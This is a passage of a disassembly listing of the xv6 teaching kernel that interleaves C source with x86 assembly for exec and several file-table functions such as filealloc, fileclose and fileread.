80100b33: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
80100b3a: 00
80100b3b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100b42: 00
80100b43: 8d 85 0c ff ff ff lea -0xf4(%ebp),%eax
80100b49: 89 44 24 04 mov %eax,0x4(%esp)
80100b4d: 8b 45 d8 mov -0x28(%ebp),%eax
80100b50: 89 04 24 mov %eax,(%esp)
80100b53: e8 13 12 00 00 call 80101d6b <readi>
80100b58: 83 f8 33 cmp $0x33,%eax
80100b5b: 77 05 ja 80100b62 <exec+0x72>
goto bad;
80100b5d: e9 7b 03 00 00 jmp 80100edd <exec+0x3ed>
if(elf.magic != ELF_MAGIC)
80100b62: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100b68: 3d 7f 45 4c 46 cmp $0x464c457f,%eax
80100b6d: 74 05 je 80100b74 <exec+0x84>
goto bad;
80100b6f: e9 69 03 00 00 jmp 80100edd <exec+0x3ed>
if((pgdir = setupkvm()) == 0)
80100b74: e8 b0 75 00 00 call 80108129 <setupkvm>
80100b79: 89 45 d4 mov %eax,-0x2c(%ebp)
80100b7c: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100b80: 75 05 jne 80100b87 <exec+0x97>
goto bad;
80100b82: e9 56 03 00 00 jmp 80100edd <exec+0x3ed>
// Load program into memory.
sz = 0;
80100b87: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100b8e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
80100b95: 8b 85 28 ff ff ff mov -0xd8(%ebp),%eax
80100b9b: 89 45 e8 mov %eax,-0x18(%ebp)
80100b9e: e9 cb 00 00 00 jmp 80100c6e <exec+0x17e>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100ba3: 8b 45 e8 mov -0x18(%ebp),%eax
80100ba6: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100bad: 00
80100bae: 89 44 24 08 mov %eax,0x8(%esp)
80100bb2: 8d 85 ec fe ff ff lea -0x114(%ebp),%eax
80100bb8: 89 44 24 04 mov %eax,0x4(%esp)
80100bbc: 8b 45 d8 mov -0x28(%ebp),%eax
80100bbf: 89 04 24 mov %eax,(%esp)
80100bc2: e8 a4 11 00 00 call 80101d6b <readi>
80100bc7: 83 f8 20 cmp $0x20,%eax
80100bca: 74 05 je 80100bd1 <exec+0xe1>
goto bad;
80100bcc: e9 0c 03 00 00 jmp 80100edd <exec+0x3ed>
if(ph.type != ELF_PROG_LOAD)
80100bd1: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100bd7: 83 f8 01 cmp $0x1,%eax
80100bda: 74 05 je 80100be1 <exec+0xf1>
continue;
80100bdc: e9 80 00 00 00 jmp 80100c61 <exec+0x171>
if(ph.memsz < ph.filesz)
80100be1: 8b 95 00 ff ff ff mov -0x100(%ebp),%edx
80100be7: 8b 85 fc fe ff ff mov -0x104(%ebp),%eax
80100bed: 39 c2 cmp %eax,%edx
80100bef: 73 05 jae 80100bf6 <exec+0x106>
goto bad;
80100bf1: e9 e7 02 00 00 jmp 80100edd <exec+0x3ed>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100bf6: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx
80100bfc: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax
80100c02: 01 d0 add %edx,%eax
80100c04: 89 44 24 08 mov %eax,0x8(%esp)
80100c08: 8b 45 e0 mov -0x20(%ebp),%eax
80100c0b: 89 44 24 04 mov %eax,0x4(%esp)
80100c0f: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c12: 89 04 24 mov %eax,(%esp)
80100c15: e8 dd 78 00 00 call 801084f7 <allocuvm>
80100c1a: 89 45 e0 mov %eax,-0x20(%ebp)
80100c1d: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100c21: 75 05 jne 80100c28 <exec+0x138>
goto bad;
80100c23: e9 b5 02 00 00 jmp 80100edd <exec+0x3ed>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100c28: 8b 8d fc fe ff ff mov -0x104(%ebp),%ecx
80100c2e: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
80100c34: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c3a: 89 4c 24 10 mov %ecx,0x10(%esp)
80100c3e: 89 54 24 0c mov %edx,0xc(%esp)
80100c42: 8b 55 d8 mov -0x28(%ebp),%edx
80100c45: 89 54 24 08 mov %edx,0x8(%esp)
80100c49: 89 44 24 04 mov %eax,0x4(%esp)
80100c4d: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c50: 89 04 24 mov %eax,(%esp)
80100c53: e8 b4 77 00 00 call 8010840c <loaduvm>
80100c58: 85 c0 test %eax,%eax
80100c5a: 79 05 jns 80100c61 <exec+0x171>
goto bad;
80100c5c: e9 7c 02 00 00 jmp 80100edd <exec+0x3ed>
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100c61: 83 45 ec 01 addl $0x1,-0x14(%ebp)
80100c65: 8b 45 e8 mov -0x18(%ebp),%eax
80100c68: 83 c0 20 add $0x20,%eax
80100c6b: 89 45 e8 mov %eax,-0x18(%ebp)
80100c6e: 0f b7 85 38 ff ff ff movzwl -0xc8(%ebp),%eax
80100c75: 0f b7 c0 movzwl %ax,%eax
80100c78: 3b 45 ec cmp -0x14(%ebp),%eax
80100c7b: 0f 8f 22 ff ff ff jg 80100ba3 <exec+0xb3>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100c81: 8b 45 d8 mov -0x28(%ebp),%eax
80100c84: 89 04 24 mov %eax,(%esp)
80100c87: e8 56 0e 00 00 call 80101ae2 <iunlockput>
end_op();
80100c8c: e8 0d 28 00 00 call 8010349e <end_op>
ip = 0;
80100c91: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100c98: 8b 45 e0 mov -0x20(%ebp),%eax
80100c9b: 05 ff 0f 00 00 add $0xfff,%eax
80100ca0: 25 00 f0 ff ff and $0xfffff000,%eax
80100ca5: 89 45 e0 mov %eax,-0x20(%ebp)
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100ca8: 8b 45 e0 mov -0x20(%ebp),%eax
80100cab: 05 00 20 00 00 add $0x2000,%eax
80100cb0: 89 44 24 08 mov %eax,0x8(%esp)
80100cb4: 8b 45 e0 mov -0x20(%ebp),%eax
80100cb7: 89 44 24 04 mov %eax,0x4(%esp)
80100cbb: 8b 45 d4 mov -0x2c(%ebp),%eax
80100cbe: 89 04 24 mov %eax,(%esp)
80100cc1: e8 31 78 00 00 call 801084f7 <allocuvm>
80100cc6: 89 45 e0 mov %eax,-0x20(%ebp)
80100cc9: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100ccd: 75 05 jne 80100cd4 <exec+0x1e4>
goto bad;
80100ccf: e9 09 02 00 00 jmp 80100edd <exec+0x3ed>
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100cd4: 8b 45 e0 mov -0x20(%ebp),%eax
80100cd7: 2d 00 20 00 00 sub $0x2000,%eax
80100cdc: 89 44 24 04 mov %eax,0x4(%esp)
80100ce0: 8b 45 d4 mov -0x2c(%ebp),%eax
80100ce3: 89 04 24 mov %eax,(%esp)
80100ce6: e8 3c 7a 00 00 call 80108727 <clearpteu>
sp = sz;
80100ceb: 8b 45 e0 mov -0x20(%ebp),%eax
80100cee: 89 45 dc mov %eax,-0x24(%ebp)
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100cf1: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80100cf8: e9 9a 00 00 00 jmp 80100d97 <exec+0x2a7>
if(argc >= MAXARG)
80100cfd: 83 7d e4 1f cmpl $0x1f,-0x1c(%ebp)
80100d01: 76 05 jbe 80100d08 <exec+0x218>
goto bad;
80100d03: e9 d5 01 00 00 jmp 80100edd <exec+0x3ed>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100d08: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d0b: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100d12: 8b 45 0c mov 0xc(%ebp),%eax
80100d15: 01 d0 add %edx,%eax
80100d17: 8b 00 mov (%eax),%eax
80100d19: 89 04 24 mov %eax,(%esp)
80100d1c: e8 03 4a 00 00 call 80105724 <strlen>
80100d21: 8b 55 dc mov -0x24(%ebp),%edx
80100d24: 29 c2 sub %eax,%edx
80100d26: 89 d0 mov %edx,%eax
80100d28: 83 e8 01 sub $0x1,%eax
80100d2b: 83 e0 fc and $0xfffffffc,%eax
80100d2e: 89 45 dc mov %eax,-0x24(%ebp)
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100d31: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d34: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100d3b: 8b 45 0c mov 0xc(%ebp),%eax
80100d3e: 01 d0 add %edx,%eax
80100d40: 8b 00 mov (%eax),%eax
80100d42: 89 04 24 mov %eax,(%esp)
80100d45: e8 da 49 00 00 call 80105724 <strlen>
80100d4a: 83 c0 01 add $0x1,%eax
80100d4d: 89 c2 mov %eax,%edx
80100d4f: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d52: 8d 0c 85 00 00 00 00 lea 0x0(,%eax,4),%ecx
80100d59: 8b 45 0c mov 0xc(%ebp),%eax
80100d5c: 01 c8 add %ecx,%eax
80100d5e: 8b 00 mov (%eax),%eax
80100d60: 89 54 24 0c mov %edx,0xc(%esp)
80100d64: 89 44 24 08 mov %eax,0x8(%esp)
80100d68: 8b 45 dc mov -0x24(%ebp),%eax
80100d6b: 89 44 24 04 mov %eax,0x4(%esp)
80100d6f: 8b 45 d4 mov -0x2c(%ebp),%eax
80100d72: 89 04 24 mov %eax,(%esp)
80100d75: e8 72 7b 00 00 call 801088ec <copyout>
80100d7a: 85 c0 test %eax,%eax
80100d7c: 79 05 jns 80100d83 <exec+0x293>
goto bad;
80100d7e: e9 5a 01 00 00 jmp 80100edd <exec+0x3ed>
ustack[3+argc] = sp;
80100d83: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d86: 8d 50 03 lea 0x3(%eax),%edx
80100d89: 8b 45 dc mov -0x24(%ebp),%eax
80100d8c: 89 84 95 40 ff ff ff mov %eax,-0xc0(%ebp,%edx,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100d93: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
80100d97: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d9a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100da1: 8b 45 0c mov 0xc(%ebp),%eax
80100da4: 01 d0 add %edx,%eax
80100da6: 8b 00 mov (%eax),%eax
80100da8: 85 c0 test %eax,%eax
80100daa: 0f 85 4d ff ff ff jne 80100cfd <exec+0x20d>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100db0: 8b 45 e4 mov -0x1c(%ebp),%eax
80100db3: 83 c0 03 add $0x3,%eax
80100db6: c7 84 85 40 ff ff ff movl $0x0,-0xc0(%ebp,%eax,4)
80100dbd: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100dc1: c7 85 40 ff ff ff ff movl $0xffffffff,-0xc0(%ebp)
80100dc8: ff ff ff
ustack[1] = argc;
80100dcb: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dce: 89 85 44 ff ff ff mov %eax,-0xbc(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100dd4: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dd7: 83 c0 01 add $0x1,%eax
80100dda: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100de1: 8b 45 dc mov -0x24(%ebp),%eax
80100de4: 29 d0 sub %edx,%eax
80100de6: 89 85 48 ff ff ff mov %eax,-0xb8(%ebp)
sp -= (3+argc+1) * 4;
80100dec: 8b 45 e4 mov -0x1c(%ebp),%eax
80100def: 83 c0 04 add $0x4,%eax
80100df2: c1 e0 02 shl $0x2,%eax
80100df5: 29 45 dc sub %eax,-0x24(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100df8: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dfb: 83 c0 04 add $0x4,%eax
80100dfe: c1 e0 02 shl $0x2,%eax
80100e01: 89 44 24 0c mov %eax,0xc(%esp)
80100e05: 8d 85 40 ff ff ff lea -0xc0(%ebp),%eax
80100e0b: 89 44 24 08 mov %eax,0x8(%esp)
80100e0f: 8b 45 dc mov -0x24(%ebp),%eax
80100e12: 89 44 24 04 mov %eax,0x4(%esp)
80100e16: 8b 45 d4 mov -0x2c(%ebp),%eax
80100e19: 89 04 24 mov %eax,(%esp)
80100e1c: e8 cb 7a 00 00 call 801088ec <copyout>
80100e21: 85 c0 test %eax,%eax
80100e23: 79 05 jns 80100e2a <exec+0x33a>
goto bad;
80100e25: e9 b3 00 00 00 jmp 80100edd <exec+0x3ed>
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e2a: 8b 45 08 mov 0x8(%ebp),%eax
80100e2d: 89 45 f4 mov %eax,-0xc(%ebp)
80100e30: 8b 45 f4 mov -0xc(%ebp),%eax
80100e33: 89 45 f0 mov %eax,-0x10(%ebp)
80100e36: eb 17 jmp 80100e4f <exec+0x35f>
if(*s == '/')
80100e38: 8b 45 f4 mov -0xc(%ebp),%eax
80100e3b: 0f b6 00 movzbl (%eax),%eax
80100e3e: 3c 2f cmp $0x2f,%al
80100e40: 75 09 jne 80100e4b <exec+0x35b>
last = s+1;
80100e42: 8b 45 f4 mov -0xc(%ebp),%eax
80100e45: 83 c0 01 add $0x1,%eax
80100e48: 89 45 f0 mov %eax,-0x10(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e4b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100e4f: 8b 45 f4 mov -0xc(%ebp),%eax
80100e52: 0f b6 00 movzbl (%eax),%eax
80100e55: 84 c0 test %al,%al
80100e57: 75 df jne 80100e38 <exec+0x348>
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
80100e59: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e5f: 8d 50 6c lea 0x6c(%eax),%edx
80100e62: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100e69: 00
80100e6a: 8b 45 f0 mov -0x10(%ebp),%eax
80100e6d: 89 44 24 04 mov %eax,0x4(%esp)
80100e71: 89 14 24 mov %edx,(%esp)
80100e74: e8 61 48 00 00 call 801056da <safestrcpy>
// Commit to the user image.
oldpgdir = proc->pgdir;
80100e79: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e7f: 8b 40 04 mov 0x4(%eax),%eax
80100e82: 89 45 d0 mov %eax,-0x30(%ebp)
proc->pgdir = pgdir;
80100e85: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e8b: 8b 55 d4 mov -0x2c(%ebp),%edx
80100e8e: 89 50 04 mov %edx,0x4(%eax)
proc->sz = sz;
80100e91: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e97: 8b 55 e0 mov -0x20(%ebp),%edx
80100e9a: 89 10 mov %edx,(%eax)
proc->tf->eip = elf.entry; // main
80100e9c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ea2: 8b 40 18 mov 0x18(%eax),%eax
80100ea5: 8b 95 24 ff ff ff mov -0xdc(%ebp),%edx
80100eab: 89 50 38 mov %edx,0x38(%eax)
proc->tf->esp = sp;
80100eae: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100eb4: 8b 40 18 mov 0x18(%eax),%eax
80100eb7: 8b 55 dc mov -0x24(%ebp),%edx
80100eba: 89 50 44 mov %edx,0x44(%eax)
switchuvm(proc);
80100ebd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ec3: 89 04 24 mov %eax,(%esp)
80100ec6: e8 4f 73 00 00 call 8010821a <switchuvm>
freevm(oldpgdir);
80100ecb: 8b 45 d0 mov -0x30(%ebp),%eax
80100ece: 89 04 24 mov %eax,(%esp)
80100ed1: e8 b7 77 00 00 call 8010868d <freevm>
return 0;
80100ed6: b8 00 00 00 00 mov $0x0,%eax
80100edb: eb 2c jmp 80100f09 <exec+0x419>
bad:
if(pgdir)
80100edd: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100ee1: 74 0b je 80100eee <exec+0x3fe>
freevm(pgdir);
80100ee3: 8b 45 d4 mov -0x2c(%ebp),%eax
80100ee6: 89 04 24 mov %eax,(%esp)
80100ee9: e8 9f 77 00 00 call 8010868d <freevm>
if(ip){
80100eee: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100ef2: 74 10 je 80100f04 <exec+0x414>
iunlockput(ip);
80100ef4: 8b 45 d8 mov -0x28(%ebp),%eax
80100ef7: 89 04 24 mov %eax,(%esp)
80100efa: e8 e3 0b 00 00 call 80101ae2 <iunlockput>
end_op();
80100eff: e8 9a 25 00 00 call 8010349e <end_op>
}
return -1;
80100f04: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f09: c9 leave
80100f0a: c3 ret
80100f0b: 90 nop
80100f0c <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100f0c: 55 push %ebp
80100f0d: 89 e5 mov %esp,%ebp
80100f0f: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100f12: c7 44 24 04 f1 89 10 movl $0x801089f1,0x4(%esp)
80100f19: 80
80100f1a: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f21: e8 1c 43 00 00 call 80105242 <initlock>
}
80100f26: c9 leave
80100f27: c3 ret
80100f28 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100f28: 55 push %ebp
80100f29: 89 e5 mov %esp,%ebp
80100f2b: 83 ec 28 sub $0x28,%esp
struct file *f;
acquire(&ftable.lock);
80100f2e: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f35: e8 29 43 00 00 call 80105263 <acquire>
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f3a: c7 45 f4 94 18 11 80 movl $0x80111894,-0xc(%ebp)
80100f41: eb 29 jmp 80100f6c <filealloc+0x44>
if(f->ref == 0){
80100f43: 8b 45 f4 mov -0xc(%ebp),%eax
80100f46: 8b 40 04 mov 0x4(%eax),%eax
80100f49: 85 c0 test %eax,%eax
80100f4b: 75 1b jne 80100f68 <filealloc+0x40>
f->ref = 1;
80100f4d: 8b 45 f4 mov -0xc(%ebp),%eax
80100f50: c7 40 04 01 00 00 00 movl $0x1,0x4(%eax)
release(&ftable.lock);
80100f57: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f5e: e8 62 43 00 00 call 801052c5 <release>
return f;
80100f63: 8b 45 f4 mov -0xc(%ebp),%eax
80100f66: eb 1e jmp 80100f86 <filealloc+0x5e>
filealloc(void)
{
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f68: 83 45 f4 18 addl $0x18,-0xc(%ebp)
80100f6c: 81 7d f4 f4 21 11 80 cmpl $0x801121f4,-0xc(%ebp)
80100f73: 72 ce jb 80100f43 <filealloc+0x1b>
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100f75: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f7c: e8 44 43 00 00 call 801052c5 <release>
return 0;
80100f81: b8 00 00 00 00 mov $0x0,%eax
}
80100f86: c9 leave
80100f87: c3 ret
80100f88 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100f88: 55 push %ebp
80100f89: 89 e5 mov %esp,%ebp
80100f8b: 83 ec 18 sub $0x18,%esp
acquire(&ftable.lock);
80100f8e: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f95: e8 c9 42 00 00 call 80105263 <acquire>
if(f->ref < 1)
80100f9a: 8b 45 08 mov 0x8(%ebp),%eax
80100f9d: 8b 40 04 mov 0x4(%eax),%eax
80100fa0: 85 c0 test %eax,%eax
80100fa2: 7f 0c jg 80100fb0 <filedup+0x28>
panic("filedup");
80100fa4: c7 04 24 f8 89 10 80 movl $0x801089f8,(%esp)
80100fab: e8 8a f5 ff ff call 8010053a <panic>
f->ref++;
80100fb0: 8b 45 08 mov 0x8(%ebp),%eax
80100fb3: 8b 40 04 mov 0x4(%eax),%eax
80100fb6: 8d 50 01 lea 0x1(%eax),%edx
80100fb9: 8b 45 08 mov 0x8(%ebp),%eax
80100fbc: 89 50 04 mov %edx,0x4(%eax)
release(&ftable.lock);
80100fbf: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100fc6: e8 fa 42 00 00 call 801052c5 <release>
return f;
80100fcb: 8b 45 08 mov 0x8(%ebp),%eax
}
80100fce: c9 leave
80100fcf: c3 ret
80100fd0 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100fd0: 55 push %ebp
80100fd1: 89 e5 mov %esp,%ebp
80100fd3: 83 ec 38 sub $0x38,%esp
struct file ff;
acquire(&ftable.lock);
80100fd6: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100fdd: e8 81 42 00 00 call 80105263 <acquire>
if(f->ref < 1)
80100fe2: 8b 45 08 mov 0x8(%ebp),%eax
80100fe5: 8b 40 04 mov 0x4(%eax),%eax
80100fe8: 85 c0 test %eax,%eax
80100fea: 7f 0c jg 80100ff8 <fileclose+0x28>
panic("fileclose");
80100fec: c7 04 24 00 8a 10 80 movl $0x80108a00,(%esp)
80100ff3: e8 42 f5 ff ff call 8010053a <panic>
if(--f->ref > 0){
80100ff8: 8b 45 08 mov 0x8(%ebp),%eax
80100ffb: 8b 40 04 mov 0x4(%eax),%eax
80100ffe: 8d 50 ff lea -0x1(%eax),%edx
80101001: 8b 45 08 mov 0x8(%ebp),%eax
80101004: 89 50 04 mov %edx,0x4(%eax)
80101007: 8b 45 08 mov 0x8(%ebp),%eax
8010100a: 8b 40 04 mov 0x4(%eax),%eax
8010100d: 85 c0 test %eax,%eax
8010100f: 7e 11 jle 80101022 <fileclose+0x52>
release(&ftable.lock);
80101011: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80101018: e8 a8 42 00 00 call 801052c5 <release>
8010101d: e9 82 00 00 00 jmp 801010a4 <fileclose+0xd4>
return;
}
ff = *f;
80101022: 8b 45 08 mov 0x8(%ebp),%eax
80101025: 8b 10 mov (%eax),%edx
80101027: 89 55 e0 mov %edx,-0x20(%ebp)
8010102a: 8b 50 04 mov 0x4(%eax),%edx
8010102d: 89 55 e4 mov %edx,-0x1c(%ebp)
80101030: 8b 50 08 mov 0x8(%eax),%edx
80101033: 89 55 e8 mov %edx,-0x18(%ebp)
80101036: 8b 50 0c mov 0xc(%eax),%edx
80101039: 89 55 ec mov %edx,-0x14(%ebp)
8010103c: 8b 50 10 mov 0x10(%eax),%edx
8010103f: 89 55 f0 mov %edx,-0x10(%ebp)
80101042: 8b 40 14 mov 0x14(%eax),%eax
80101045: 89 45 f4 mov %eax,-0xc(%ebp)
f->ref = 0;
80101048: 8b 45 08 mov 0x8(%ebp),%eax
8010104b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
f->type = FD_NONE;
80101052: 8b 45 08 mov 0x8(%ebp),%eax
80101055: c7 00 00 00 00 00 movl $0x0,(%eax)
release(&ftable.lock);
8010105b: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80101062: e8 5e 42 00 00 call 801052c5 <release>
if(ff.type == FD_PIPE)
80101067: 8b 45 e0 mov -0x20(%ebp),%eax
8010106a: 83 f8 01 cmp $0x1,%eax
8010106d: 75 18 jne 80101087 <fileclose+0xb7>
pipeclose(ff.pipe, ff.writable);
8010106f: 0f b6 45 e9 movzbl -0x17(%ebp),%eax
80101073: 0f be d0 movsbl %al,%edx
80101076: 8b 45 ec mov -0x14(%ebp),%eax
80101079: 89 54 24 04 mov %edx,0x4(%esp)
8010107d: 89 04 24 mov %eax,(%esp)
80101080: e8 f2 2f 00 00 call 80104077 <pipeclose>
80101085: eb 1d jmp 801010a4 <fileclose+0xd4>
else if(ff.type == FD_INODE){
80101087: 8b 45 e0 mov -0x20(%ebp),%eax
8010108a: 83 f8 02 cmp $0x2,%eax
8010108d: 75 15 jne 801010a4 <fileclose+0xd4>
begin_op();
8010108f: e8 86 23 00 00 call 8010341a <begin_op>
iput(ff.ip);
80101094: 8b 45 f0 mov -0x10(%ebp),%eax
80101097: 89 04 24 mov %eax,(%esp)
8010109a: e8 72 09 00 00 call 80101a11 <iput>
end_op();
8010109f: e8 fa 23 00 00 call 8010349e <end_op>
}
}
801010a4: c9 leave
801010a5: c3 ret
801010a6 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
801010a6: 55 push %ebp
801010a7: 89 e5 mov %esp,%ebp
801010a9: 83 ec 18 sub $0x18,%esp
if(f->type == FD_INODE){
801010ac: 8b 45 08 mov 0x8(%ebp),%eax
801010af: 8b 00 mov (%eax),%eax
801010b1: 83 f8 02 cmp $0x2,%eax
801010b4: 75 38 jne 801010ee <filestat+0x48>
ilock(f->ip);
801010b6: 8b 45 08 mov 0x8(%ebp),%eax
801010b9: 8b 40 10 mov 0x10(%eax),%eax
801010bc: 89 04 24 mov %eax,(%esp)
801010bf: e8 9a 07 00 00 call 8010185e <ilock>
stati(f->ip, st);
801010c4: 8b 45 08 mov 0x8(%ebp),%eax
801010c7: 8b 40 10 mov 0x10(%eax),%eax
801010ca: 8b 55 0c mov 0xc(%ebp),%edx
801010cd: 89 54 24 04 mov %edx,0x4(%esp)
801010d1: 89 04 24 mov %eax,(%esp)
801010d4: e8 4d 0c 00 00 call 80101d26 <stati>
iunlock(f->ip);
801010d9: 8b 45 08 mov 0x8(%ebp),%eax
801010dc: 8b 40 10 mov 0x10(%eax),%eax
801010df: 89 04 24 mov %eax,(%esp)
801010e2: e8 c5 08 00 00 call 801019ac <iunlock>
return 0;
801010e7: b8 00 00 00 00 mov $0x0,%eax
801010ec: eb 05 jmp 801010f3 <filestat+0x4d>
}
return -1;
801010ee: b8 ff ff ff ff mov $0xffffffff,%eax
}
801010f3: c9 leave
801010f4: c3 ret
801010f5 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
801010f5: 55 push %ebp
801010f6: 89 e5 mov %esp,%ebp
801010f8: 83 ec 28 sub $0x28,%esp
int r;
if(f->readable == 0)
801010fb: 8b 45 08 mov 0x8(%ebp),%eax
801010fe: 0f b6 40 08 movzbl 0x8(%eax),%eax
80101102: 84 c0 test %al,%al
80101104: 75 0a jne 80101110 <fileread+0x1b>
return -1;
80101106: b8 ff ff ff ff mov $0xffffffff,%eax
8010110b: e9 9f 00 00 00 jmp 801011af <fileread+0xba>
if(f->type == FD_PIPE)
80101110: 8b 45 08 mov 0x8(%ebp),%eax
80101113: 8b 00 mov (%eax),%eax
80101115: 83 f8 01 cmp $0x1,%eax
80101118: 75 1e jne 80101138 <fileread+0x43>
return piperead(f->pipe, addr, n);
8010111a: 8b 45 08 mov 0x8(%ebp),%eax
8010111d: 8b 40 0c mov 0xc(%eax),%eax
80101120: 8b 55 10 mov 0x10(%ebp),%edx
80101123: 89 54 24 08 mov %edx,0x8(%esp)
80101127: 8b 55 0c mov 0xc(%ebp),%edx
8010112a: 89 54 24 04 mov %edx,0x4(%esp)
8010112e: 89 04 24 mov %eax,(%esp)
80101131: e8 c2 30 00 00 call 801041f8 <piperead>
80101136: eb 77 jmp 801011af <fileread+0xba>
if(f->type == FD_INODE){
80101138: 8b 45 08 mov 0x8(%ebp),%eax
8010113b: 8b 00 mov (%eax),%eax
8010113d: 83 f8 02 cmp $0x2,%eax
80101140: 75 61 jne 801011a3 <fileread+0xae>
ilock(f->ip);
80101142: 8b 45 08 mov 0x8(%ebp),%eax
80101145: 8b 40 10 mov 0x10(%eax),%eax
80101148: 89 04 24 mov %eax,(%esp)
8010114b: e8 0e 07 00 00 call 8010185e <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80101150: 8b 4d 10 mov 0x10(%ebp),%ecx
80101153: 8b 45 08 mov 0x8(%ebp),%eax
80101156: 8b 50 14 mov 0x14(%eax),%edx
80101159: 8b 45 08 mov 0x8(%ebp),%eax
8010115c: 8b 40 10 mov 0x10(%eax),%eax
8010115f: 89 4c 24 0c mov %ecx,0xc(%esp)
80101163: 89 54 24 08 mov %edx,0x8(%esp)
80101167: 8b 55 0c mov 0xc(%ebp),%edx
8010116a: 89 54 24 04 mov %edx,0x4(%esp)
8010116e: 89 04 24 mov %eax,(%esp)
